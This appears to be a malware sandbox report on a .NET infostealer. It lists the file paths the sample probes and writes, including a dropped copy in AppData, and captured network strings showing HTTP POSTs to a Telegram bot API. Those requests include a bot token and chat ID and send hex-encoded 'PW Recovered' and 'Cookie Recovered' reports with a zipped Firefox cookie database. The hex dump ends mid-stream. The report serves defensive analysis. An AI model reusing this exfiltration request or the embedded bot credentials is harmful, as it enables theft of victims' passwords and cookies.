"C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\OLE32.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VERSION.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VERSION.dll"43:Tc64,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\EE57B6FA1E5A3C5EF776B79F32820327BCB3FE1974EEDDF65C0EB56131193397.EXE.CONFIG" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EE57B6FA1E5A3C5EF776B79F32820327BCB3FE1974EEDDF65C0EB56131193397.EXE.LOG" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.config" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\FGGX" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\EE57B6FA1E5A3C5EF776B79F32820327BCB3FE1974EEDDF65C0EB56131193397.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.WINDOWS.FORMS" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.WINDOWS.FORMS.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.DRAWING" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\SYSTEM.DRAWING.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI"44:T609,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" writes file "c:\users\%osuser%\appdata\roaming\jscriqqacnlzp.exe" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" writes file "c:\users\%osuser%\appdata\roaming\jscriqqacnlzp.exe:zone.identifier" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" writes file "c:\users\%osuser%\appdata\local\temp\tmp7ceb.tmp" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\clr_v4.0_32\usagelogs\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" writes file "%appdata%\jscriqqacnlzp.exe:zone.identifier" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" writes file "%appdata%\jscriqqacnlzp.exe" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" writes file "%temp%\tmp7ceb.tmp" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" writes file "%localappdata%\microsoft\clr_v4.0_32\usagelogs\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_2hygxvv1.ipd.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_h42dfx2k.4sa.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive"45:T4bc0,Found string "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:64:31:38:39:34:37:39:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:63:68:61:74:5f:69:64:22:0d:0a:0d:0a:2d:36:37:35:35:38:31:38:35:30:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:64:31:38:39:34:37:39:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:63:61:70:74:69:6f:6e:22:0d:0a:0d:0a:4e:65:77:20:50:57:20:52:65:63:6f:76:65:72:65:64:21:0a:0a:55:73:65:72:20:4e:61:6d:65:3a:20:61:41:4f:78:77:33:5a:2f:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:0a:4f:53:46:75:6c:6c:4e:61:6d:65:3a:20:4d:69:63:72:6f:73:6f:66:74:20:57:69:6e:64:6f:77:73:20:31:30:20:50:72:6f:0a:43:50:55:3a:20:49:6e:74:65:6c:28:52:29:20:43:6f:72:65:28:54:4d:29:20:69:37:2d:31:30:37:30:30:20:43:50:55:20:40:20:32:2e:39:30:47:48:7a:0a:52:41:4d:3a:20:38:31:39:31:2e:34:39:20:4d:42:0a:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:64:31:38:39:34:37:39:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:64:6f:63:75:6d:65:6e:74:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:61:41:4f:78:77:33:5a:2d:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:20:32:30:32:35:2d:30:36:2d:31:31:20:31:33:2d:33:37:2d:31:34:2e:68:74:6d:6c:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:74:65:78:74:2f:68:74:6d:6c:0d:0a:0d:0a:54:69:6d:65:3a:20:30:36:2f:31:31:2f:32:30:32:35:20:31:33:3a:32:36:3a:32:38:3c:62:72:3e:55:73:65:72:20:4e:61:6d:65:3a:20:61:41:4f:78:77:33:5a:3c:62:72:3e:43:6f:6d:70:75:74:65:72:20:4e:61:6d:65:3a:20:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:3c:62:72:3e:4f:53:46:75:6c:6c:4e:61:6d:65:3a:20:4d:69:63:72:6f:73:6f:66:74:20:57:69:6e:64:6f:77:73:20:31:30:20:50:72:6f:3c:62:72:3e:43:50:55:3a:20:49:6e:74:65:6c:28:52:29:20:43:6f:72:65:28:54:4d:29:20:69:37:2d:31:30:37:30:30:20:43:50:55:20:40:20:32:2e:39:30:47:48:7a:3c:62:72:3e:52:41:4d:3a:20:38:31:39:31:2e:34:39:20:4d:42:3c:62:72:3e:49:50:20:41:64:64:72:65:73:73:3a:20:3c:62:72:3e:3c:68:72:3e:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:64:31:38:39:34:37:39:30:62:2d:2d:0d:0a"; File: "PCAP") Found string "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20bHost: api.telegram.orgContent-Length: 150310d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:65:39:33:33:33:64:32:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:63:68:61:74:5f:69:64:22:0d:0a:0d:0a:2d:36:37:35:35:38:31:38:35:30:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:65:39:33:33:33:64:32:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:63:61:70:74:69:6f:6e:22:0d:0a:0d:0a:4e:65:77:20:43:6f:6f:6b:69:65:20:52:65:63:6f:76:65:72:65:64:21:0a:0a:55:73:65:72:20:4e:61:6d:65:3a:20:61:41:4f:78:77:33:5a:2f:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:0a:4f:53:46:75:6c:6c:4e:61:6d:65:3a:20:4d:69:63:72:6f:73:6f:66:74:20:57:69:6e:64:6f:77:73:20:31:30:20:50:72:6f:0a:43:50:55:3a:20:49:6e:74:65:6c:28:52:29:20:43:6f:72:65:28:54:4d:29:20:69:37:2d:31:30:37:30:30:20:43:50:55:20:40:20:32:2e:39:30:47:48:7a:0a:52:41:4d:3a:20:38:31:39:31:2e:34:39:20:4d:42:0a:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:65:39:33:33:33:64:32:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:64:6f:63:75:6d:65:6e:74:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:61:41:4f:78:77:33:5a:2d:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:20:32:30:32:35:2d:30:36:2d:31:31:20:31:33:2d:34:37:2d:35:38:2e:7a:69:70:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:7a:69:70:0d:0a:0d:0a:50:4b:03:04:14:00:00:00:08:00:90:a5:9c:4d:8f:bb:02:2b:a4:36:00:00:00:00:08:00:3d:00:48:00:73:68:76:6b:63:69:71:6c:2e:6f:74:74:2f:46:69:72:65:66:6f:78:2f:50:72:6f:66:69:6c:65:73:2f:79:77:7a:75:37:38:37:30:2e:64:65:66:61:75:6c:74:2f:63:6f:6f:6b:69:65:73:2e:73:71:6c:69:74:65:01:00:20:00:00:00:00:00:01:00:18:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:0a:00:20:00:00:00:00:00:01:00:18:00:f7:86:2d:30:31:9f:d4:01:f7:86:2d:30:31:9f:d4:01:f7:86:2d:30:31:9f:d4:01:ed:dd:0f:ac:2b:d9:7d:1f:f6:b7:d2:ea:59:76:fc:bc:bb:5e:4b:2b:7b:bd:d6:93:d7:2b:65:b5:ba:ef:cd:1f:0e:ef:a5:ec:b5:4c:72:66:48:ce:e5:0c:ef:fc:39:67:38:23:c9:57:c3:99:79:1c:72:fe:90:97:1c:92:c3:d1:fb:a3:95:91:3f:8d:53:43:0a:10:c3:71:9c:38:6d:80:1a:46:8a:b4:70:1a:a4:6d:6a:20:41:5d:04:4d:9b:c4:45:5b:a0:4e:83:c6:76:82:ba:2e:e2:06:68:2b:d4:01:82:a4:87:f7:bd:27:bd:7f:bb:b2:a1:b4:36:90:ef:07:7a:cb:c7:e1:f0:f0:cc:99:73:7e:e7:f7:bb:f7:3e:5d:db:1c:ce:ca:f8:fa:ad:c5:2a:0f:ca:eb:e2:95:2f:5d:79:df:fb:ae:fc:d8:f5:eb:57:ae:5c:79:fe:c1:9f:87:de:f7:c4:f3:e7:d8:9f:6f:bf:f2:de:9e:bf:72:e3:7b:7e:e3:da:bd:df:bd:f2:fe:3b:bf:78:e5:ee:f7:dd:fb:db:ec:01:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:e0:5b:b3:78:ff:b7:bd:f2:e6:eb:cf:bd:f3:d1:59:11:c5:55:be:a8:cf:27:c1:3a:8e:16:79:30:2b:0e:cf:c2:c5:22:9d:c5:eb:e7:bb:96:d2:76:94:eb:03:43:56:c6:d7:1f:3f:ed:fa:c8:b8:fe:c8:a9:d7:ff:e8:e1:25:f9:f2:a5:4f:5d:5f:ac:66:d3:59:d1:2e:cb:d5:6c:b2:29:e3:f5:9b:3f:f1:43:cf:7d:db:2b:af:bf:fe:dc:1f:7f:a1:0c:26:59:fc:c8:1b:1f:f9:eb:fb:1e:7c:9c:d3:ee:0c:95:c7:1b:9f:45:ac:13:8e:d2:53:ac:eb:67:d6:40:6f:5b:de:f5:53:c5:fb:d4:f5:6f:7c:e8:75:47:19:3b:4f:7f:f2:e5:e1:eb:c6:88:fd:21:c3:e1:75:59:51:db:64:e8:5c:ff:c4:27:3e:75:bd:08:f2:f8:c1:bb:b6:41:b6:79:f8:f7:64:b1:2e:1f:fc:75:19:94:c9:83:bf:c6:d5:72:b6:da:3f:ec:c4:a7:ae:67:c1:ba:6c:87:61:bc:66:e3:f1:8d:a3:e1:2a:0e:ca:d9:a2:70:66:ac:e9:af:1f:9d:ad:ed:38:dc:ac:1e:3b:d2:2f:cb:e5:a8:c8:1e:69:71:56:74:56:8b:dd:3a:5e:29:6c:7c:e2:a2:fc:fa:05:3f:ec:33:f7:a9:eb:6b:d6:65:7b:56:c6:cf:7a:ad:3b:32:6c:c7:6a:b3:57:2e:87:6e:53:cc:2e:36:31:1b:37:62:0c:4c:a2:5c:ff:a3:87:cb:bd:7f:75:f7:2f:ec:19:77:e9:4d:e9:7d:57:5f:19:bc:fe:dc:95:cb:69:b1:be:c8:d8:47:9d:07:9b:72:71:f9:fc:fc:91:3b:72:ce:3f:f2:e4:fd:6c:46:7d:f0:30:ad:ae:ad:ff:8b:2b:9f:fc:11:e7:fd:77:ff:e5:bd:5f:b8:37:bc:fb:1f:dd:b1:6f:9f:7e:f1:67:eb:7f:bd:ff:e7:95:be:fb:cf:76:64:fb:d7:d6:e7:65:6f:f5:77:57:57:2f:be:b0:fe:ed:a5:90:bf:9d:bd:92:bc:6a:fe:cd:d3:df:3e:fd:be:fa:2f:dd:f9:a7:1b:ae:fa:85:f3:ff:d3:fb:a7:9d:df:7d:fb:e8:47:7e:f9:47:9c:cd:5f:2d:7f:f3:ee:c9:96:6c:be:56:fb:3f:fc:bf:fe:01:af:19:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:b8:32:f5:5f:b8:f2:89:6b:1f:22:6f:be:f0:fc:d5:ab:df:fe:ed:1f:fc:60:3e:0b:57:8b:f5:e2:56:79:23:5c:e4:3a:19:c8:bc:10:f0:7c:a3:25:1d:9d:08:7c:f3:a8:d1:3c:09:8f:26:8d:f8:d6:51:8b:0f:38:5e:6a:36:e2:28:3a:be:f1:d8:bb:6e:9e:bf:f4:e7:e4:2b:1f:b8:e0:3f:d5:fa:e9:fe:e1:f1:bb:ff:f7:af:7e:a1:f0:0e:1f:f4:9a:7e:fc:cc:0f:2a:93:ea:7c:ba:99:45:0d:a9:75:eb:38:94:4e:a4:30:0c:1b:31:3f:09:e2:56:93:13:5b:bc:78:32:69:89:b7:a2:78:9b:ad:c3:e5:32:7e:e2:f3:a2:3f:f3:cf:fe:cb:c7:3e:ef:7f:f9:0d:ee:27:fb:e3:17:af:1c:5d:7b:ed:cf:de:11:1f:7e:e2:76:b6:de:04:d9:ba:dc:44:b3:c5:e1:7d:6a:1c:b5:37:65:c2:47:1c:6f:04:35:ed:5a:39:df:27:9c:a1:3a:73:5f:9a:a8:86:3a:51:fc:8b:40:4d:1b:e1:b8:bd:8d:dc:32:b0:7a:6a:e9:92:72:68:38:5a:df:ea:5b:96:5b:d0:c2:73:b5:33:37:9d:72:56:df:5b:79:c4:a0:e6:ac:94:27:7c:34:8a:33:23:70:65:ca:91:a2:a3:4d:38:4d:9b:88:d6:7e:42:3b:fd:d0:2d:95:a8:f0:13:83:e3:2a:8f:e3:53:df:89:24:27:cf:a4:30:8f:d6:c1:dc:98:4f:68:62:fa:62:56:b9:8a:55:51:4e:5d:9b:b5:d6:9f:f4:24:8f:72:d1:9e:f4:2d:c5:51:b8:9d:95:65:a7:9e:c0:f7:a8:a8:9a:01:a5:a3:b0:57:36:29:e1:d7:23:35:d2:ad:d4:94:cc:b1:df:33:14:75:e5:8b:96:67:e4:d9:9a:aa:83:da:72:a3:c5:a1:0f:11:4f:75:5f:0c:2b:a2:68:fa:48:4e:25:8f:48:6b:c3:d5:79:2f:a5:63:a7:36:f6:8e:43:6a:3b:5f:1a:76:cf:68:4c:7a:cb:f5:48:89:1c:2f:9b:ee:02:a5:5a:10:9e:34:02:b2:ab:9d:74:b0:37:e7:e6:de:98:a7:22:ad:7d:db:2a:8c:9e:47:76:55:dc:4f:b4:38:37:76:c3:7a:5a:79:a4:ea:47:1c:1b:13:a1:ec:87:dc:b2:76:9d:a8:34:04:a3:e9:ed:5b:82:e9:2e:97:94:f8:4b:bb:48:06:5e:16:19:93:5c:2a:03:a2:79:a6:a8:72:16:35:6c:4f:f0:57:a4:57:35:0c:9a:f0:4e:aa:92:53:de:48:27:4e:b8:f7:c6:91:69:0b:51:32:a1:46:cf:22:c9:d6:e3:96:5d:5f:e0:15:c3:cd:d6:ce:58:5b:9b:24:e1:22:4a:b7:43:41:ba:b0:b3:64:6b:f2:cb:3e:29:a8:4e:8b:88:37:e7:b4:af:ab:8b:da:51:2c:65:52:50:27:26:ea:ce:e2:96:ec:da:32:3f:e2:b3:8c:90:35:47:84:25:e7:e5:95:a2:f7:96:94:8d:ad:1e:14:8b:95:21:2c:53:27:2d:13:22:64:5d:5b:59:34:74:62:c9:4e:91:ec:4e:85:6a:66:c9:ba:30:e1:7d:25:4a:33:c3:ed:f1:f6:48:51:33:2a:d3:d5:24:e5:ab:60:ee:07:7a:61:ed:ec:c2:14:f5:31:5d:46:a2:ef:5a:7c:56:b8:39:b7:b5:78:ba:f1:44:63:61:12:a3:a0:4a:25:b0:f1:3e:73:c7:aa:a5:73:91:1a:3b:c9:d8:1a:67:03:93:ac:6b:a7:1e:34:6c:b9:33:a7:34:e9:b0:31:d2:e9:38:da:18:44:e2:1d:8e:13:74:41:1a:9e:8a:a4:b2:7a:4b:9e:8d:f5:de:cb:fc:5c:e7:fc:f5:a4:1f:19:d6:d8:b2:02:62:f1:a4:1f:6e:fd:b9:bf:9b:f4:7d:cf:2c:b2:91:99:51:ef:b4:56:37:81:68:b9:61:ea:2f:8d:79:a7:36:dc:6a:76:ca:59:f3:49:4e:a9:45:06:95:cf:fb:a5:43:8d:9d:3f:9e:6e:43:37:73:0d:5e:a5:3e:a1:03:bf:17:6d:46:8e:d1:b7:69:74:3a:72:4f:56:91:68:a4:23:25:14:2d:36:8f:d9:5a:21:0e:99:ae:88:3b:d8:3a:7c:a4:c7:7d:df:b2:6b:ba:73:b8:2c:09:54:36:77:28:f5:ad:5e:d5:09:dc:f2:cc:cc:b4:da:4a:17:0d:e2:2e:37:b4:7b:52:d9:4e:d4:a1:9c:55:4c:7a:86:a3:13:6d:1f:aa:9a:e4:a5:86:ad:cb:99:a3:e7:be:1e:f5:8d:99:53:84:75:20:d2:a6:d5:ef:68:f1:58:e1:ec:de:62:ef:13:af:0e:c6:b4:0c:b9:56:cf:e8:65:b6:39:d7:d6:a7:e2:b2:88:e6:8a:68:ab:56:e0:16:2a:3f:72:bc:15:21:fc:c8:62:6b:c6:55:b3:59:e0:46:82:ab:2c:67:13:39:9a:b3:35:72:16:2b:ad:1e:49:a3:d3:28:8b:2e:5c:45:92:7d:45:9b:4d:c6:cb:7d:c8:d3:ea:94:ef:70:4e:9a:0d:8c:7e:62:9f:f2:3a:4f:7b:6b:89:3a:5a:32:e4:a3:dc:cd:32:6e:42:f4:46:58:2c:77:f6:d8:dc:3b:d9:60:1b:cc:c3:5d:9c:66:75:e8:52:d7:cd:95:7d:ec:56:5b:db:0d:1b:24:df:6d:03:31:32:83:fe:52:8d:dc:a5:3c:72:97:6c:36:53:6f:d2:5f:34:22:41:4d:26:79:25:45:45:32:f2:7b:aa:7a:2a:2c:87:ba:eb:5f:b8:45:c2:fa:59:4a:b4:5b:76:ad:71:34:74:64:ad:13:ce:3b:a2:35:37:4c:b7:6f:a8:36:b1:1a:8e:10:75:8d:5c:d5:e8:38:3b:75:73:16:d2:5c:df:33:0a:c2:4d:e4:8e:18:bb:2d:cf:9c:47:92:cd:65:dd:a0:26:9c:a5:24:85:cf:b7:b9:30:33:4a:ea:18:b2:cf:2f:38:7f:6c:e5:51:66:d9:c4:ad:ec:a0:ef:af:0e:7d:9c:f4:d5:0e:e9:59:34:ac:13:2d:48:a3:bd:5f:fb:7e:94:0d:24:da:ef:ac:c2:9e:ba:f4:e8:72:19:08:cb:60:34:b6:aa:80:5a:6b:bb:17:9d:e9:82:a1:51:67:20:b0:fe:9b:13:aa:b4:ce:ba:2d:79:22:b4:56:81:4b:de:62:7f:77:7c:36:83:c2:3c:e3:62:62:6c:27:85:95:c5:7d:8b:4c:84:32:9b:cc:1b:6f:e7:fb:1b:4f:86:e4:9b:9f:75:5f:7d:eb:10:c2:b7:b4:fa:f5:cb:50:fe:8f:de:f7:df:7d:e5:a3:ee:21:94:bf:fa:f3:47:df:2c:94:1f:1f:6f:6e:9e:c9:ad:c6:c4:dd:4d:a3:9c:ee:43:21:db:4e:e6:dc:4c:b7:1b:bb:c1:ac:93:4d:72:63:eb:f7:b2:8d:5f:73:b3:88:8d:c0:d0:99:ce:ce:ea:c6:09:11:e8:3c:1a:6b:cb:a8:9f:b1:de:4b:6c:74:12:8e:f6:5a:2b:df:6d:4c:43:59:69:da:ae:d9:1a:64:27:bc:ce:ce:f3:5c:22:e9:5d:4e:34:9c:54:18:3a:66:ed:cb:61:e9:b9:de:de:ef:f2:33:a3:37:e0:f4:79:92:fb:72:32:f3:e7:d3:52:57:d4:8e:c1:99:b5:39:57:78:93:23:bc:ae:78:bc:a1:78:95:ae:18:6c:be:4f:39:83:1c:ce:57:1a:23:39:9c:0d:fa:49:c9:22:7d:3d:2a:da:d5:99:ad:2d:a2:be:b5:1b:cd:4e:58:7f:5b:f3:70:2f:6d:bd:b1:b1:0c:f7:fc:36:ec:d1:cd:30:6f:ed:fd:7d:4b:0c:45:7d:ab:cf:db:3b:a3:7b:b2:d3:ed:d6:83:73:b8:bd:2e:b7:39:5d:56:4a:b6:4a:eb:e1:38:aa:c3:af:5f:5f:5a:b2:eb:5e:4e:7a:ec:8e:d8:5c:35:9c:b7:37:71:df:48:d9:d8:b0:31:ab:36:21:1b:97:a0:6f:71:a1:bc:60:51:d4:da:7a:a2:be:99:08:2a:5b:69:7a:39:11:d9:f8:cd:a4:6d:98:87:db:48:d4:cb:50:9c:de:7f:bc:df:76:e6:09:ad:cd:fd:31:57:b9:c0:6d:6d:86:f5:60:a7:cb:a4:d2:67:83:b7:ce:94:2c:f5:5d:89:1d:f7:97:fe:78:f0:16:3b:7f:33:2a:28:1f:b8:66:73:e4:f8:33:63:3e:d8:8f:64:af:34:ea:b6:64:cc:38:36:26:9d:7c:e8:2a:0d:f6:bc:f4:72:22:78:8e:c7:79:c2:a0:32:04:5d:64:b3:4a:f3:d9:18:44:bd:2c:0f:5c:ba:3f:9b:57:0f:67:dc:34:ee:f1:eb:49:a1:b7:06:39:db:09:fa:ed:e6:70:df:aa:3d:21:c9:26:ae:5a:0f:73:7e:e9:89:da:36:14:5a:79:d4:95:e6:13:81:3b:f4:ff:fe:f8:cd:4e:76:86:dd:aa:bf:3e:5b:ed:c1:5b:ba:9